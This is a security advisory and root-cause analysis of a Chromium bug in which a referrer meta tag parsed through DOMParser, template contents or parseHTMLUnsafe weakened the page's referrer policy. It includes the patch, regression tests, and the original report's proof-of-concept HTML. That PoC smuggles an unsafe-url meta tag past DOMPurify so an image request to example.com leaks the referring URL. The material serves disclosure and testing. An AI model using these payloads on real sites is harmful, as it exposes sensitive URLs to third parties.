CVE-2026-79185
Overview
Background
- `<meta name="referrer">`
- An HTML meta directive that sets the document’s referrer policy, controlling how much of the referring URL is sent in the
Refererheader of subsequent requests. - Referrer meta quirk
- Per the HTML spec note, the referrer meta type is unusual in that it updates the
ExecutionContext’s policy directly rather than the document’s, unlike other meta types. - `ExecutionContext` / `GetDocument().IsActive()`
ExecutionContextis the object carrying a document’s security/policy state;Document::IsActive()returns true only for a document that is the active document of a live frame (not a detached or parser-only document).- Inactive parsing contexts
DOMParser().parseFromString,Document.parseHTMLUnsafe, and<template>contents parse HTML into documents/fragments that are not active documents of any displayed frame.
Root Cause Analysis
When the meta-attribute processing code in html_meta_element.cc encountered name="referrer", it applied the referrer policy whenever GetExecutionContext() was non-null, without checking whether the owning document was actually active. Because of the referrer quirk, this path mutates the ExecutionContext’s referrer policy directly. When a <meta name="referrer"> was parsed inside an inactive document created by DOMParser().parseFromString, Document.parseHTMLUnsafe, or <template> contents, the associated ExecutionContext — shared with or derived from the creator/active document — could have its referrer policy changed (for example to unsafe-url), affecting the creator document’s real network requests.
The fix adds && GetDocument().IsActive() so the referrer policy is only applied when the document is the active document, matching the spec requirement. The shipped WPT confirms that parsing a <meta name="referrer" content="unsafe-url"> via DOMParser, <template>, or parseHTMLUnsafe no longer changes the creator document’s referrer policy or leaks the referrer.
ExecutionContext, ignoring whether the document was active; adding GetDocument().IsActive() restricts the mutation to real, displayed documents so parser-only documents cannot alter another document’s referrer policy.Attack Path
- Establish restrictive baseline
A page ships with
<meta name="referrer" content="no-referrer">(or otherwise has a privacy-preserving referrer policy), so its outgoing requests do not leak the referrer. - Parse attacker/injected meta in an inactive context
Content is parsed via
new DOMParser().parseFromString('<meta name="referrer" content="unsafe-url">', 'text/html'),Document.parseHTMLUnsafe(...), or a<template>containing the meta tag. - ExecutionContext policy mutated
Because the referrer branch only checked
GetExecutionContext(), the referrer quirk updated the referrer policy on theExecutionContexteven though the parsed document was never active, relaxing the creator document’s policy tounsafe-url. - Referrer leak
Subsequent
fetch/navigation requests from the creator document then include the full referring URL in theRefererheader, disclosing it to third parties (the WPTfetchAndGetReferrerstep demonstrates the observable difference).
Impact Assessment
DOMParser, <template>, parseHTMLUnsafe) within a victim page’s context could silently weaken that page’s referrer policy, causing later requests to leak the full referring URL — an information disclosure in the renderer/DOM. The advisory classifies it as InfoDisclosure (“Information leak in DOM”) and does not report exploitation in the wild. The precondition is that the victim page parses attacker-influenced markup through one of these non-active parsing APIs.Files Changed
third_party/blink/renderer/core/html/html_meta_element.ccthird_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
Audit Directions
- Meta directives in non-active documentsAudit every meta-attribute handler (referrer, CSP, viewport, theme-color, etc.) for whether it should apply when
Document::IsActive()is false, since parser-only documents can carry attacker markup. - ExecutionContext vs Document mutationSearch for code that mutates
ExecutionContextstate directly rather than the document; such “quirk” paths can bleak effects to a shared or creator context. - DOMParser / template / parseHTMLUnsafe side effectsTest whether other parsing-time side effects (policies, feature counters, security state) unexpectedly influence the active document when triggered via
DOMParser,<template>, orDocument.parseHTMLUnsafe.
Patch
From c82c0056dc30f7178f3b0953e3da0bcc0c7904df Mon Sep 17 00:00:00 2001 From: Noam Rosenthal <[email protected]> Date: Mon, 20 Jul 2026 08:59:41 -0700 Subject: [PATCH] <meta referrer> should only apply when document is active Note that referrer is a bit quirky, see the note in the spec: https://html.spec.whatwg.org/multipage/semantics.html#meta-referrer This quirks makes it so that the ExecutionContext is updated directly instead of the document, which is what other meta types do. Bug: 536526176 Change-Id: I38947b9849544e5b5f6fbf98250d319028d633ef Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8125036 Reviewed-by: Daniel Vogelheim <[email protected]> Commit-Queue: Noam Rosenthal <[email protected]> Cr-Commit-Position: refs/heads/main@{#1664718} --- diff --git a/third_party/blink/renderer/core/html/html_meta_element.cc b/third_party/blink/renderer/core/html/html_meta_element.cc index 51c154a3..1654a99 100644 --- a/third_party/blink/renderer/core/html/html_meta_element.cc +++ b/third_party/blink/renderer/core/html/html_meta_element.cc @@ -727,7 +727,7 @@ ProcessViewportContentAttribute(content_value, ViewportDescription::kViewportMeta); } else if (EqualIgnoringAsciiCase(name_value, "referrer") && - GetExecutionContext()) { + GetExecutionContext() && GetDocument().IsActive()) { UseCounter::Count(&GetDocument(), WebFeature::kHTMLMetaElementReferrerPolicy); if (!IsDescendantOf(GetDocument().head())) { diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html new file mode 100644 index 0000000..e46a1c3 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html @@ -0,0 +1,60 @@ +<!DOCTYPE html> +<html> +<head> + <meta name="referrer" content="no-referrer"> + <script src="/resources/testharness.js"></script> + <script src="/resources/testharnessreport.js"></script> +</head> +<body> + <script> + async function fetchAndGetReferrer() { + let response = await fetch('/common/security-features/subresource/xhr.py'); + let data = await response.json(); + return data.headers.referer; + } + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a meta tag that would change referrer policy to unsafe-url. + new DOMParser().parseFromString( + '<meta name="referrer" content="unsafe-url">', + 'text/html' + ); + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "DOMParser().parseFromString should not affect creator document's referrer policy"); + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a template tag containing a meta referrer. + let div = document.createElement('div'); + div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>'; + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy"); + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a meta tag that would change referrer policy to unsafe-url. + Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">'); + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy"); + </script> +</body> +</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <meta name="referrer" content="no-referrer">
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+ <script>
+ async function fetchAndGetReferrer() {
+ let response = await fetch('/common/security-features/subresource/xhr.py');
+ let data = await response.json();
+ return data.headers.referer;
+ }
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+ new DOMParser().parseFromString(
+ '<meta name="referrer" content="unsafe-url">',
+ 'text/html'
+ );
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a template tag containing a meta referrer.
+ let div = document.createElement('div');
+ div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+ Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+ </script>
+</body>
+</html>
Original Bug Report
DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents
Report description
DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Description
The DOMParser().parseFromString(string, "text/html") is supposed to be an inert parser for HTML content. Security libraries like DOMPurify relies on it to parse untrusted HTML, and expects it to be inert (in terms of affecting the calling context/window).
However, <meta name="referrer"> is for some reason applied to the current context while parsing, and it can override the current documents policy too:
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<script>
fetch('https://example.com'); // does not leak any referrer, as expected
new DOMParser().parseFromString(
`<meta name="referrer" content="unsafe-url">`,
"text/html"
);
fetch('https://example.com'); // does leak referrer
</script>
</body>
</html>
Changing referrer policy in a document can lead to security issues where sensitive content is in the current path/query/fragment. Furthermore, due to DOMPurify’s usage of it, this example also unexpectedly leaks (even though the meta tag is correctly removed by DOMPurify):
<html>
<head>
<meta name="referrer" content="no-referrer">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
</head>
<body>
<script>
// leaks referrer in the request to example.com
setTimeout(function(){
document.documentElement.innerHTML=DOMPurify.sanitize('<meta name="referrer" content="unsafe-url"><img src="https://example.com/leak2"/>')
}, 1000);
</script>
</body>
</html>
Impact analysis
Expected inert DOMParser().parseFromString(string, "text/html") can affect the calling contexts referer policy via <meta name="referrer">.
The cause
What version of Chrome have you found the security issue in?
150.0.7871.124 (Official Build) snap (64-bit)
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Information Leak
How would you like to be publicly acknowledged for your report?
avlidienbrunn